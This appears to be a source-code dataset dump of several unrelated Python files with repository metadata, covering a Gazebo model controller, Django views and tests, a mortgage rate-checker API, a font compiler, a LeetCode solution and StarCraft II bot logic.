#!/usr/bin/env python import rospy import tf from gazebo_msgs.srv import SetModelState, DeleteModel, SpawnModel from gazebo_msgs.msg import ModelState from geometry_msgs.msg import Pose, Point, Quaternion class ModelController(object): def __init__(self): rospy.wait_for_service("gazebo/delete_model") rospy.wait_for_service("gazebo/spawn_sdf_model") rospy.wait_for_service("gazebo/set_model_state") self.set_state_srv_ = rospy.ServiceProxy("/gazebo/set_model_state", SetModelState) self.spawn_model_srv_ = rospy.ServiceProxy("/gazebo/spawn_sdf_model", SpawnModel) self.delete_model_srv_ = rospy.ServiceProxy("/gazebo/delete_model", DeleteModel) def goto(self, model, x, y, yaw): quaternion = tf.transformations.quaternion_from_euler(0, 0, yaw) pose = Pose() pose.position.x = x pose.position.y = y pose.position.z = 0 pose.orientation.x = quaternion[0] pose.orientation.y = quaternion[1] pose.orientation.z = quaternion[2] pose.orientation.w = quaternion[3] state = ModelState() state.model_name = model state.pose = pose try: ret = self.set_state_srv_(state) # print("[ModelController]: {}".format(ret.status_message)) except Exception, e: rospy.logerr('Error on calling service: %s',str(e)) def spawn_model(self, model_name, model_sdf, x, y, z): pose = Pose() pose.position.x = x pose.position.y = y pose.position.z = z pose.orientation.w = 1 self.spawn_model_srv_(model_name, model_sdf, "", pose, "world") def delete_model(self, model_name): self.delete_model_srv_(model_name)

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84

0.738217

226

1,570

4.893805

0.29646

0.065099

0.03255

0.051537

0.221519

0.142857

0.088608

0

0.005926

0.140127

1,570

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0

null

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0.128205

null

0

null

0

null

0

1

0

1

25c80db82d1ebad170680349cd93672e15412051

1,342

py

Python

code/src/main.py

ChaofWang/AWSRN

b7e285e73667e114ccb69e354254c4f67ca39e25

[ "MIT" ]

162

2019-04-05T02:05:45.000Z

2022-01-15T02:16:59.000Z

code/src/main.py

ChaofWang/AWSRN

b7e285e73667e114ccb69e354254c4f67ca39e25

[ "MIT" ]

16

2019-05-11T15:38:25.000Z

2020-08-12T13:15:45.000Z

code/src/main.py

ChaofWang/AWSRN

b7e285e73667e114ccb69e354254c4f67ca39e25

[ "MIT" ]

22

2019-04-20T14:37:51.000Z

2022-03-21T05:58:17.000Z

import torch import utility import data import model import loss from option import args from trainer import Trainer def print_network(net): num_params = 0 for param in net.parameters(): num_params += param.numel() print(net) print('Total number of parameters: %d' % num_params) def print_setting(net, args): print('init this train:') print_network(net) print('training model:', args.model) print('scale:', args.scale) print('resume from ', args.resume) print('output patch size', args.patch_size) print('model setting: n_resblocks:', args.n_resblocks, 'n_feats:', args.n_feats, 'block_feats:', args.block_feats) print('optimization setting: ', args.optimizer) print('total epochs:', args.epochs) print('lr:', args.lr, 'lr_decay at:', args.decay_type, 'decay gamma:', args.gamma) print('train loss:', args.loss) print('save_name:', args.save) torch.manual_seed(args.seed) checkpoint = utility.checkpoint(args) if checkpoint.ok: loader = data.Data(args) model = model.Model(args, checkpoint) print_setting(model, args) loss = loss.Loss(args, checkpoint) if not args.test_only else None t = Trainer(args, loader, model, loss, checkpoint) while not t.terminate(): t.train() t.test() checkpoint.done()

27.958333

87

0.671386

183

1,342

4.819672

0.355191

0.030612

0.034014

0

0.00093

0.198957

1,342

47

88

28.553191

0.819535

0

0.168531

0

1

0.051282

false

0

0.179487

0

0.230769

0.435897

0

null

0

null

0

1

0

1

25c81eb343b1d3a48857d65ac0f1c63ee02f3d87

710

py

Python

mycroft/views.py

seakers/daphne-brain

1d703d468cd503a21395f986dd72e67b6e556451

[ "MIT" ]

null

mycroft/views.py

seakers/daphne-brain

1d703d468cd503a21395f986dd72e67b6e556451

[ "MIT" ]

null

mycroft/views.py

seakers/daphne-brain

1d703d468cd503a21395f986dd72e67b6e556451

[ "MIT" ]

null

from rest_framework.views import APIView from rest_framework.response import Response from auth_API.helpers import get_or_create_user_information class CheckConnection(APIView): def post(self, request, format=None): # --> 1. Get connection status and id user_info = get_or_create_user_information(request.session, request.user, 'EOSS') conn_status = user_info.mycroft_connection conn_id = user_info.mycroft_session print('--> CHECKING MYCROFT CONNECTIONS:', conn_id, conn_status) if conn_status is False: return Response({"connection": "false", "access_token": conn_id}) else: return Response({"connection": "true"})

29.583333

89

0.7

87

710

5.448276

0.505747

0.050633

0.07173

0.063291

0.109705

0

0.001783

0.209859

710

23

90

30.869565

0.843137

0.049296

0

0.116418

0

1

0.076923

false

0

0.230769

0

0.538462

0.076923

0

null

0

null

0

1

0

1

25d2427f17acf99c0e015181ad76ec8cf75b6f09

1,065

py

Python

src/bst/pygasus/datamanager/grokker.py

codeix/bst.pygasus.datamanager

3b60cbc0b44814701fcbc8c5558a30002a9a2778

[ "ZPL-2.1" ]

null

src/bst/pygasus/datamanager/grokker.py

codeix/bst.pygasus.datamanager

3b60cbc0b44814701fcbc8c5558a30002a9a2778

[ "ZPL-2.1" ]

null

src/bst/pygasus/datamanager/grokker.py

codeix/bst.pygasus.datamanager

3b60cbc0b44814701fcbc8c5558a30002a9a2778

[ "ZPL-2.1" ]

null

import martian from martian.error import GrokError from grokcore.component import name as namedirective from zope import component from bst.pygasus.datamanager.model import ExtBaseModel from bst.pygasus.datamanager.interfaces import IModelTransformer from bst.pygasus.datamanager.transformer import ModelTransfomerUtility class schema(martian.Directive): scope = martian.CLASS store = martian.ONCE default = None class ExtModelGrokker(martian.ClassGrokker): martian.component(ExtBaseModel) martian.directive(schema) martian.directive(namedirective) def execute(self, class_, schema, name, **kw): if schema is None: raise GrokError('Class %s is missing directive "schema". Need a Interface\ to create the model.' % class_, class_) if not name: name = class_.__name__ gsm = component.getGlobalSiteManager() transformer = ModelTransfomerUtility(class_, schema) gsm.registerUtility(transformer, IModelTransformer, name) return True

31.323529

86

0.721127

112

1,065

6.776786

0.455357

0.027668

0.055336

0.098814

0

0.212207

1,065

33

87

32.272727

0.904648

0

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0

1

0.04

false

0

0.28

0

0.56

0

null

0

null

0

1

0

1

25d28a94c243549378bccac5503509c7d698f1cd

4,833

py

Python

intent_parser/utils/opil_utils.py

SD2E/experimental-intent-parser

65aee0ad800777f265210766a9e5eac431e0feaa

[ "BSD-3-Clause" ]

3

2020-07-09T19:52:58.000Z

2020-08-05T18:05:54.000Z

intent_parser/utils/opil_utils.py

SD2E/experimental-intent-parser

65aee0ad800777f265210766a9e5eac431e0feaa

[ "BSD-3-Clause" ]

293

2020-06-19T18:51:27.000Z

2021-09-17T20:42:41.000Z

intent_parser/utils/opil_utils.py

SD2E/experimental-intent-parser

65aee0ad800777f265210766a9e5eac431e0feaa

[ "BSD-3-Clause" ]

null

""" Provides a list of functions for building opil objects. """ from intent_parser.intent.measure_property_intent import MeasuredUnit from intent_parser.intent_parser_exceptions import IntentParserException import intent_parser.utils.sbol3_utils as sbol3_utils import intent_parser.table.cell_parser as cell_parser import intent_parser.constants.intent_parser_constants as ip_constants import opil import tyto def create_opil_boolean_parameter_value(value: bool): parameter_value = opil.BooleanValue() parameter_value.value = value return parameter_value def create_opil_enumerated_parameter_value(value: str): parameter_value = opil.EnumeratedValue() parameter_value.value = value return parameter_value def create_opil_integer_parameter_value(value: int): parameter_value = opil.IntegerValue() parameter_value.value = value return parameter_value def create_opil_measurement_parameter_value(value: float, unit=''): parameter_value = opil.MeasureValue() measure = MeasuredUnit(value, unit) parameter_value.has_measure = measure.to_opil_measure() return parameter_value def create_opil_string_parameter_value(value: str): parameter_value = opil.StringValue() parameter_value.value = value return parameter_value def create_opil_URI_parameter_value(value: str): parameter_value = opil.URIValue() parameter_value.value = value return parameter_value def create_parameter_value_from_parameter(opil_parameter, parameter_value): if isinstance(opil_parameter, opil.BooleanParameter): return create_opil_boolean_parameter_value(bool(parameter_value)) elif isinstance(opil_parameter, opil.EnumeratedParameter): return create_opil_enumerated_parameter_value(str(parameter_value)) elif isinstance(opil_parameter, opil.IntegerParameter): return create_opil_integer_parameter_value(int(parameter_value)) elif isinstance(opil_parameter, opil.MeasureParameter): if cell_parser.PARSER.is_number(str(parameter_value)): return create_opil_measurement_parameter_value(parameter_value, tyto.OM.number) possible_units = list(ip_constants.FLUID_UNIT_MAP.keys()) + list(ip_constants.TIME_UNIT_MAP.keys()) measured_units = cell_parser.PARSER.process_values_unit(parameter_value, units=possible_units, unit_type='fluid') if len(measured_units) != 1: raise IntentParserException('Expecting one Measurement Parameter value but %d were found.' % len(measured_units)) return create_opil_measurement_parameter_value(float(measured_units[0].get_value()), measured_units[0].get_unit()) elif isinstance(opil_parameter, opil.StringParameter): return create_opil_string_parameter_value(str(parameter_value)) elif isinstance(opil_parameter, opil.URIParameter): return create_opil_URI_parameter_value(str(parameter_value)) def get_param_value_as_string(parameter_value): if type(parameter_value) is opil.BooleanValue: return str(parameter_value.value) elif type(parameter_value) is opil.EnumeratedValue: return str(parameter_value.value) elif type(parameter_value) is opil.IntegerValue: return str(parameter_value.value) elif type(parameter_value) is opil.MeasureValue: if parameter_value.has_measure: measure_number = float(parameter_value.has_measure.value) measure_unit = sbol3_utils.get_unit_name_from_uri(parameter_value.has_measure.unit) if measure_unit: if measure_unit == tyto.OM.number: return str(measure_number) else: return str(measure_number) + ' ' + measure_unit return str(measure_number) elif type(parameter_value) is opil.StringValue: return parameter_value.value if parameter_value.value else ' ' elif type(parameter_value) is opil.URIValue: return str(parameter_value.value) elif isinstance(parameter_value, str): return parameter_value return '' def fix_nonunique_parameter_names(doc): # Collect all objects in Document all_objects = doc.find_all(lambda obj: True if obj.name else False) # Gather objects with non-unique names name_map = {o.name: [] for o in all_objects if o.name} for o in all_objects: name_map[o.name].append(o) # Rename using name + description + display_id for name, nonuniquely_named_objects in name_map.items(): if len(nonuniquely_named_objects) > 1: for o in nonuniquely_named_objects: o.name = f'{o.name} ({o.description})({o.display_id})'

43.540541

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0.448276

0

null

1

0

null

0

1

25d56f5b093e66a6e34a5f01df8b3463c937cd78

1,537

py

Python

Tools/fontcompile.py

aunicornfarmer/gotris

6c125071d5add7fc71716ecbb08474c607561555

[ "MIT" ]

63

2015-01-03T04:19:23.000Z

2021-07-19T22:33:16.000Z

Tools/fontcompile.py

aunicornfarmer/gotris

6c125071d5add7fc71716ecbb08474c607561555

[ "MIT" ]

1

2015-09-14T08:55:40.000Z

2018-01-23T08:56:47.000Z

Tools/fontcompile.py

aunicornfarmer/gotris

6c125071d5add7fc71716ecbb08474c607561555

[ "MIT" ]

28

2015-02-23T10:31:05.000Z

2021-06-18T12:33:51.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- # compiled font is a binary blob: # 1. magic (MFNT) - 4 bytes # 2. number of symbols - 4 bytes # 3. font y advance - 4 bytes # 4. an array of glyphs (offset_x, offset_y, width, height, tx, ty, tx2, ty2, x_advance) - 36 * number of symbols # (iiIIffffI) # 5. png texture import sys import struct import os from xml2obj import xml2obj def print_usage_and_exit(): print "usage: {0} <UNPACKED FONT>".format(sys.argv[0]) sys.exit(1) if len(sys.argv) != 2: print_usage_and_exit() fontfile = sys.argv[1] if not os.path.exists(fontfile): print_usage_and_exit() glyphs = [] with file(fontfile + ".fontdef.xml", 'r') as f: xmlobj = xml2obj(f.read()) font_y_advance = int(xmlobj.height) for g in xmlobj.glyph: glyphs.append((unicode(g.symbol), int(g.offset_x), int(g.offset_y), int(g.width), int(g.height), float(g.tx), float(g.ty), float(g.tx2), float(g.ty2), int(g.x_advance))) with file(fontfile[:-4] + ".font", 'w') as f: f.write("MFNT") f.write(struct.pack("<I", len(glyphs))) f.write(struct.pack("<I", font_y_advance)) for g in glyphs: f.write(struct.pack("<iiIIffffI", g[1], g[2], g[3], g[4], g[5], g[6], g[7], g[8], g[9])) unicode_fontcp = [] for i, g in enumerate(glyphs): unicode_fontcp.append((g[0], i+1)) def unicode_fontcp_key(item): return item[0] unicode_fontcp.sort(key=unicode_fontcp_key) for entry in unicode_fontcp: f.write(struct.pack("<II", ord(entry[0]), entry[1])) with file(fontfile, 'r') as imgf: imgdata = imgf.read() f.write(imgdata)

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0.666233

273

1,537

3.652015

0.355311

0.036108

0.048144

0.064193

0.062187

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0.028963

0.146389

1,537

59

171

26.050847

0.730945

0.193234

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0.057143

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0.054427

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null

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0.114286

null

0.114286

0

null

0

null

0

1

0

1

25db68b1e4b300ed7435559d769a87a914307b00

1,171

py

Python

app/tests/support/test_views.py

Valaraucoo/raven

0157e193baf569be9479a78838dc26d77a11a99d

[ "BSD-3-Clause" ]

3

2020-12-27T21:52:52.000Z

2021-08-23T10:26:10.000Z

app/tests/support/test_views.py

Valaraucoo/raven

0157e193baf569be9479a78838dc26d77a11a99d

[ "BSD-3-Clause" ]

12

2020-12-22T22:36:28.000Z

2021-01-18T13:39:34.000Z

app/tests/support/test_views.py

Valaraucoo/raven

0157e193baf569be9479a78838dc26d77a11a99d

[ "BSD-3-Clause" ]

2

2020-12-27T21:52:39.000Z

2021-11-18T08:08:25.000Z

import pytest from django.urls import reverse from tests.users import factories as users_factories @pytest.mark.django_db class TestTicketCreateView: def test_get(self,client): url = reverse('support:support-contact') response = client.get(url) assert response.status_code == 200 def test_post(self,client): url = reverse('support:support-contact') response = client.post(url) assert response.status_code == 200 user = users_factories.StudentFactory() data = { "email": user.email, "category": '1', "fullname": f'{user.first_name} {user.last_name}', "description": "problem" } response = client.post(url, data=data) assert response.status_code == 200 data['category'] = '2' response = client.post(url, data=data) assert response.status_code == 200 data['category'] = '3' response = client.post(url, data=data) assert response.status_code == 200 data['category'] = '0' response = client.post(url, data=data) assert response.status_code == 200

26.022222

62

0.608027

132

1,171

5.295455

0.333333

0.120172

0.171674

0.206009

0.615165

0.529328

0.37196

0

0.026005

0.277541

1,171

44

63

26.613636

0.800236

0

0.387097

0

0.125534

0.039283

0

0.193548

1

0.064516

false

0

0.096774

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0.193548

0

null

0

1

0

null

0

1

25dbcc8ad9f17eebc5ce137f97fcdf06a4148e19

1,827

py

Python

lc0415_add_strings.py

bowen0701/python-algorithms-data-structures

e625f59a9fc59e4728825078d4434a7968a724e5

[ "BSD-2-Clause" ]

8

2019-03-18T06:37:24.000Z

2022-01-30T07:50:58.000Z

lc0415_add_strings.py

bowen0701/python-algorithms-data-structures

e625f59a9fc59e4728825078d4434a7968a724e5

[ "BSD-2-Clause" ]

null

lc0415_add_strings.py

bowen0701/python-algorithms-data-structures

e625f59a9fc59e4728825078d4434a7968a724e5

[ "BSD-2-Clause" ]

null

"""Leetcode 415. Add Strings Easy URL: https://leetcode.com/problems/add-strings/ Given two non-negative integers num1 and num2 represented as string, return the sum of num1 and num2. Note: - The length of both num1 and num2 is < 5100. - Both num1 and num2 contains only digits 0-9. - Both num1 and num2 does not contain any leading zero. - You must not use any built-in BigInteger library or convert the inputs to integer directly. """ class SolutionPaddingAddBackwardIter(object): def _padding(self, num1, num2): n1, n2 = len(num1), len(num2) if n1 < n2: num1 = '0' * (n2 - n1) + num1 elif n1 > n2: num2 = '0' * (n1 - n2) + num2 return num1, num2 def addStrings(self, num1, num2): """ :type num1: str :type num2: str :rtype: str Time complexity: O(n). Space complexity: O(1). """ from collections import deque # Pad shorter num with leading zeros to string of equal length. num1, num2 = self._padding(num1, num2) # Start with carry 0, add digits of num1 & num2 from backward to array. sum_arr = deque([]) i = len(num1) - 1 carry = 0 while i >= 0 or carry > 0: if i >= 0: val = int(num1[i]) + int(num2[i]) + carry else: val = carry carry, val = val // 10, val % 10 sum_arr.appendleft(str(val)) i -= 1 return ''.join(list(sum_arr)) def main(): # Output: 807. num1 = '342' num2 = '465' print SolutionPaddingAddBackwardIter().addStrings(num1, num2) # Output: 10110. num1 = '9999' num2 = '111' print SolutionPaddingAddBackwardIter().addStrings(num1, num2) if __name__ == '__main__': main()

25.027397

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0.571429

238

1,827

4.331933

0.453782

0.062076

0.053346

0.043647

0.102813

0

0.076737

0.322386

1,827

72

80

25.375

0.756058

0.087028

0

0.0625

0

0.021415

0

null

0

0.03125

null

0.0625

0

null

0

null

0

1

0

1

25dbd0ea80f4dcc92776fe99c6632dc557ac3ea6

4,574

py

Python

tests/version2/test_users.py

SimonAwiti/Questioner-APIs

514de4fd3af1726b7f89525c6bfaaed230842853

[ "MIT" ]

null

tests/version2/test_users.py

SimonAwiti/Questioner-APIs

514de4fd3af1726b7f89525c6bfaaed230842853

[ "MIT" ]

2

2019-01-15T16:02:32.000Z

2019-01-23T03:32:29.000Z

tests/version2/test_users.py

SimonAwiti/Questioner-APIs

514de4fd3af1726b7f89525c6bfaaed230842853

[ "MIT" ]

1

2019-01-13T23:39:06.000Z

"""Tests for handling the users resource""" import unittest import json from app import create_app from app.API.utilities.database import connection class UserTestCase(unittest.TestCase): """Unit testiing for the user regsitration endpoint""" def setUp(self): """Initialize the app and database connections""" self.app = create_app(config_name="testing") self.client = self.app.test_client self.user = { "firstname" : "Ken", "lastname" : "joseph", "email" : "mysecret12@gmail.com", "password" : "jos@Aeph12", "confirm" : "jos@Aeph12", } self.user2 = { "firstname" : "simon", "lastname" : "jose", "email" : "myseuuret12@gmail.com", "password" : "joseph12", } self.user3 = { "firstname" : "Ken", "lastname" : "joseph", "email" : "mysecret12@gmail.com", "password" : "jo@Aeph12", "confirm" : "jo@Aeph12", } self.user4 = { "firstname" : "Ken", "lastname" : "joseph", "email" : "mysecret12gmail.com", "password" : "jo@Aeph12", "confirm" : "jo@Aeph12", } self.user5 = { "firstname" : "Ken", "lastname" : "joseph", "email" : "mysecret12@gmail.com", "password" : "josAeph12", "confirm" : "jos@Aeph12", } with self.app.app_context(): connection.initializedb() def create_user(self): response = self.client().post('/api/v2/users/auth/register', data=json.dumps(self.user), content_type='application/json') def tearDown(self): """Drops all tables after tests are done""" with self.app.app_context(): connection.dbconnection() connection.drop_tables() def test_user_register(self): """Test to successfuly register a new user reg""" response = self.client().post('/api/v2/users/auth/register', data=json.dumps(self.user), content_type='application/json') #self.assertEqual(response.status_code, 201) #self.assertIn('User Successfully Created', str(response.data)) def test_user_login(self): """Successfully log into the app""" self.create_user() response = self.client().post('/api/v2/users/auth/login', data=json.dumps(self.user), content_type='application/json') #self.assertEqual(response.status_code, 200) #self.assertIn('User Successfully logged in', str(response.data)) def test_login_wrong_passwords(self): """Tests for checking if password match""" response = self.client().post( '/api/v2/users/auth/login', data=json.dumps(self.user2), content_type='application/json') #self.assertEqual(response.status_code, 401) #self.assertIn("Error logging in, credentials not found", str(response.data)) def test_add_user_who_exists(self): """Tests for adding a new user who exists""" self.create_user() response = self.client().post( '/api/v2/users/auth/register', data=json.dumps(self.user), content_type='application/json' ) #self.assertEqual(response.status_code, 409) #self.assertIn("There is a user with the same email registere", str(response.data)) def test_add_user_with_poor_email(self): """Tests for adding a new user with poor email""" response = self.client().post( '/api/v2/users/auth/register', data=json.dumps(self.user4), content_type='application/json' ) #self.assertEqual(response.status_code, 401) #self.assertIn("Invalid email provided", str(response.data)) def test_add_user_with_diff_pass(self): """Tests for adding a new user with diff password""" response = self.client().post( '/api/v2/users/auth/register', data=json.dumps(self.user5), content_type='application/json' ) #self.assertEqual(response.status_code, 401) #self.assertIn("Passwords do not match", str(response.data))

37.491803

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471

4,574

5.227176

0.265393

0.032494

0.051178

0.062551

0.586515

0.556052

0.530869

0.50853

0.43095

0.361495

0

0.01943

0.32488

4,574

122

92

37.491803

0.77785

0.233931

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0.482353

0

0.205635

0.059251

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1

0.105882

false

0.082353

0.047059

0

0.164706

0

null

0

null

0

1

0

1

25e441bb1d41908f9089cf20c37bdbf87f2df670

8,415

py

Python

ratechecker/views.py

DalavanCloud/owning-a-home-api

f7be713740ecfaaaf3fc2f54510c24543e563e9f

[ "CC0-1.0" ]

1

2019-02-25T21:46:14.000Z

ratechecker/views.py

DalavanCloud/owning-a-home-api

f7be713740ecfaaaf3fc2f54510c24543e563e9f

[ "CC0-1.0" ]

null

ratechecker/views.py

DalavanCloud/owning-a-home-api

f7be713740ecfaaaf3fc2f54510c24543e563e9f

[ "CC0-1.0" ]

null

from django.db.models import Q, Sum, Avg from rest_framework import status from rest_framework.decorators import api_view from rest_framework.response import Response from rest_framework.views import APIView from ratechecker.models import Region, Rate, Adjustment, Fee from ratechecker.ratechecker_parameters import ParamsSerializer def get_rates(params_data, data_load_testing=False, return_fees=False): """ params_data is a method parameter of type RateCheckerParameters.""" # the precalculated results are done by favoring negative points over # positive ones, and the API does the opposite factor = 1 if data_load_testing: factor = -1 region_ids = list(Region.objects.filter( state_id=params_data.get('state')).values_list('region_id', flat=True)) if not region_ids: return {'data': {}, 'timestamp': None} rates = Rate.objects.filter( region_id__in=region_ids, product__loan_purpose=params_data.get('loan_purpose'), product__pmt_type=params_data.get('rate_structure'), product__loan_type=params_data.get('loan_type'), product__max_ltv__gte=params_data.get('max_ltv'), product__loan_term=params_data.get('loan_term'), product__max_loan_amt__gte=params_data.get('loan_amount'), product__max_fico__gte=params_data.get('maxfico'), product__min_fico__lte=params_data.get('minfico')) if params_data.get('loan_type') != 'FHA-HB': rates = rates.filter( product__min_loan_amt__lte=params_data.get('loan_amount')) if params_data.get('rate_structure') == 'ARM': rates = rates.filter( product__int_adj_term=params_data.get('arm_type')[:-2], product__io=bool(params_data.get('io'))) if data_load_testing: rates = rates.filter( product__institution=params_data.get('institution'), lock=params_data.get('lock')) else: rates = rates.filter( lock__lte=params_data.get('max_lock', 0), lock__gt=params_data.get('min_lock', 0)) all_rates = [] products = {} for rate in rates: all_rates.append(rate) products["{}{}".format( rate.product_id, rate.region_id)] = rate.product_id product_ids = products.values() adjustments = Adjustment.objects.filter( product__plan_id__in=product_ids).filter( Q(max_loan_amt__gte=params_data.get('loan_amount')) | Q(max_loan_amt__isnull=True), Q(min_loan_amt__lte=params_data.get('loan_amount')) | Q(min_loan_amt__isnull=True), Q(prop_type=params_data.get('property_type')) | Q(prop_type__isnull=True) | Q(prop_type=""), Q(state=params_data.get('state')) | Q(state__isnull=True) | Q(state=""), Q(max_fico__gte=params_data.get('maxfico')) | Q(max_fico__isnull=True), Q(min_fico__lte=params_data.get('minfico')) | Q(min_fico__isnull=True), Q(min_ltv__lte=params_data.get('min_ltv')) | Q(min_ltv__isnull=True), Q(max_ltv__gte=params_data.get('max_ltv')) | Q(max_ltv__isnull=True), ).values('product_id', 'affect_rate_type').annotate(sum_of_adjvalue=Sum('adj_value')) summed_adj_dict = {} for adj in adjustments: current = summed_adj_dict.get(adj['product_id'], {}) current[adj['affect_rate_type']] = adj['sum_of_adjvalue'] summed_adj_dict[adj['product_id']] = current available_rates = {} data_timestamp = "" for rate in all_rates: # TODO: check that it the same all the time, and do what if it is not? data_timestamp = rate.data_timestamp product = summed_adj_dict.get(rate.product_id, {}) rate.total_points += product.get('P', 0) rate.base_rate += product.get('R', 0) distance = abs(params_data.get('points') - rate.total_points) if float(distance) > 0.5: continue if rate.product_id not in available_rates: available_rates[rate.product_id] = rate else: current_difference = abs( params_data.get('points') - available_rates[rate.product_id].total_points ) new_difference = abs(params_data.get('points') - rate.total_points) if new_difference < current_difference or ( new_difference == current_difference and factor * available_rates[ rate.product_id].total_points < 0 and factor * rate.total_points > 0): available_rates[rate.product_id] = rate data = {} for rate in available_rates: key = str(available_rates[rate].base_rate) current_value = data.get(key, 0) if data_load_testing: data[key] = "%s" % available_rates[rate].total_points else: data[key] = current_value + 1 results = {'data': data, 'timestamp': data_timestamp} if return_fees and data: fees = Fee.objects.filter(plan__plan_id__in=available_rates.keys(), state_id=params_data.get('state')) if params_data.get('property_type', 'SF') == 'SF': fees = fees.filter(single_family=True) elif params_data.get('property_type', 'SF') == 'CONDO': fees = fees.filter(condo=True) elif params_data.get('property_type', 'SF') == 'COOP': fees = fees.filter(coop=True) averages = fees.aggregate( origination_dollar=Avg('origination_dollar'), origination_percent=Avg('origination_percent'), third_party=Avg('third_party')) results['fees'] = averages if not data: obj = Region.objects.first() if obj: results['timestamp'] = obj.data_timestamp return results def set_lock_max_min(data): """Set max and min lock values before serializer validation""" lock_map = { '30': (0, 30), '45': (31, 45), '60': (46, 60) } lock = data.get('lock') if lock and lock in lock_map: data['min_lock'] = lock_map[lock][0] data['max_lock'] = lock_map[lock][1] return data else: return data @api_view(['GET']) def rate_checker(request): """ Return available rates in percentage and number of institutions with the corresponding rate (i.e. "4.75": 2 means there are 2 institutions with the rate of 4.75%) """ if request.method == 'GET': # Clean the parameters, make sure no leading or trailing spaces, # transform them to upper cases fixed_data = dict(map( lambda (k, v): (k, v.strip().upper()), request.query_params.iteritems())) fixed_data = set_lock_max_min(fixed_data) serializer = ParamsSerializer(data=fixed_data) if serializer.is_valid(): rate_results = get_rates(serializer.validated_data) rate_results['request'] = serializer.validated_data return Response(rate_results) else: return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) @api_view(['GET']) def rate_checker_fees(request): """ Return available rates in percentage and number of institutions with the corresponding rate along with fees data """ if request.method == 'GET': # Clean the parameters, make sure no leading or trailing spaces, # transform them to upper cases fixed_data = dict(map( lambda (k, v): (k, v.strip().upper()), request.query_params.iteritems())) serializer = ParamsSerializer(data=fixed_data) if serializer.is_valid(): rate_results = get_rates( serializer.validated_data, return_fees=True) rate_results['request'] = serializer.validated_data return Response(rate_results) else: return Response( serializer.errors, status=status.HTTP_400_BAD_REQUEST ) class RateCheckerStatus(APIView): def get(self, request, format=None): try: load_ts = Region.objects.latest('data_timestamp').data_timestamp except Region.DoesNotExist: load_ts = None return Response({'load': load_ts})

36.907895

79

0.627213

1,056

8,415

4.700758

0.203598

0.070508

0.086422

0.027397

0.389605

0.346293

0.299758

0.260274

0.234891

0.190169

0

0.00741

0.26227

8,415

227

80

37.070485

0.792204

0.043613

0

0.2

0

0.075372

0

0.004405

0

null

0

0.04

null

0

null

0

null

0

1

0

1

25e493076be7380951a97b3f9afcdfcdb4f2cbab

2,247

py

Python

sharpy/managers/combat2/protoss/micro_voidrays.py

raspersc2/sharpy-sc2

ec8f5870eab233b1d09a54a09bd8b76ea2585735

[ "MIT" ]

2

2020-08-13T01:25:20.000Z

2020-11-22T19:00:06.000Z

sharpy/managers/combat2/protoss/micro_voidrays.py

raspersc2/sharpy-sc2

ec8f5870eab233b1d09a54a09bd8b76ea2585735

[ "MIT" ]

null

sharpy/managers/combat2/protoss/micro_voidrays.py

raspersc2/sharpy-sc2

ec8f5870eab233b1d09a54a09bd8b76ea2585735

[ "MIT" ]

null

from sc2.ids.effect_id import EffectId from sc2.position import Point2 from sc2.units import Units from sharpy.managers.combat2 import MicroStep, Action, MoveType from sc2 import AbilityId from sc2.unit import Unit class MicroVoidrays(MicroStep): def should_retreat(self, unit: Unit) -> bool: if unit.shield_max + unit.health_max > 0: health_percentage = (unit.shield + unit.health) / (unit.shield_max + unit.health_max) else: health_percentage = 0 if health_percentage < 0.2 or unit.weapon_cooldown < 0: # low hp or unit can't attack return True for effect in self.ai.state.effects: if effect.id == EffectId.RAVAGERCORROSIVEBILECP: if Point2.center(effect.positions).distance_to(unit) < 3: return True if effect.id == EffectId.BLINDINGCLOUDCP: if Point2.center(effect.positions).distance_to(unit) < 4: return True if effect.id == EffectId.PSISTORMPERSISTENT: if Point2.center(effect.positions).distance_to(unit) < 4: return True return False def group_solve_combat(self, units: Units, current_command: Action) -> Action: return current_command def unit_solve_combat(self, unit: Unit, current_command: Action) -> Action: if self.engage_ratio < 0.25 and self.can_engage_ratio < 0.25: return current_command if self.move_type in {MoveType.PanicRetreat, MoveType.DefensiveRetreat}: return current_command if self.cd_manager.is_ready(unit.tag, AbilityId.EFFECT_VOIDRAYPRISMATICALIGNMENT): close_enemies = self.cache.enemy_in_range(unit.position, 7).filter(lambda u: u.is_armored) if close_enemies: return Action(None, False, AbilityId.EFFECT_VOIDRAYPRISMATICALIGNMENT) if not self.should_shoot() and self.should_retreat(unit): pos = self.pather.find_weak_influence_air(unit.position, 4) return Action(pos, False) return self.focus_fire(unit, current_command, None) def should_shoot(self): tick = self.ai.state.game_loop % 24 return tick < 8

40.854545

102

0.655986

280

2,247

5.107143

0.367857

0.058741

0.020979

0.037762

0.21049

0.174126

0.105594

0.075524

0

0.017533

0.263907

2,247

54

103

41.611111

0.847037

0.012016

0

0.209302

0

1

0.093023

false

0

0.139535

0.023256

0.534884

0

null

0

null

0

1

0

1

25f057af076ce41992855839a657edce5d7a7ef6

931

py

Python

scripts/processcore.py

paulscottrobson/flat-forth-compiler

c9df5156219da67c08776445a87e055f8cbb3a82

[ "MIT" ]

null

scripts/processcore.py

paulscottrobson/flat-forth-compiler

c9df5156219da67c08776445a87e055f8cbb3a82

[ "MIT" ]

1

2019-03-03T21:21:07.000Z

2020-07-02T09:20:31.000Z

scripts/processcore.py

paulscottrobson/flat-forth-compiler

c9df5156219da67c08776445a87e055f8cbb3a82

[ "MIT" ]

null

# *************************************************************************************** # *************************************************************************************** # # Name : processcore.py # Author : Paul Robson (paul@robsons.org.uk) # Date : 22nd December 2018 # Purpose : Convert vocabulary.asm to assemblable file by adding marker labels. # # *************************************************************************************** # *************************************************************************************** # # Copy vocabulary.asm to __words.asm # hOut = open("__words.asm","w") for l in [x.rstrip() for x in open("vocabulary.asm").readlines()]: hOut.write(l+"\n") # # If ;; found insert a label which is generated using ASCII so all chars can be used # if l[:2] == ";;": name = "_".join([str(ord(x)) for x in l[2:].strip()]) hOut.write("core_{0}:\n".format(name)) hOut.close()

38.791667

89

0.396348

91

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3.989011

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null

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25f4632219bc28cba2e575a7f1f0e698d9f3b930

307

py

Python

converters/all_lp2dgf.py

daajoe/transit_graphs

ac9a7b390f0f4c671a4c66157c9ff20773bb0105

[ "CC-BY-4.0" ]

null

converters/all_lp2dgf.py

daajoe/transit_graphs

ac9a7b390f0f4c671a4c66157c9ff20773bb0105

[ "CC-BY-4.0" ]

null

converters/all_lp2dgf.py

daajoe/transit_graphs

ac9a7b390f0f4c671a4c66157c9ff20773bb0105

[ "CC-BY-4.0" ]

null

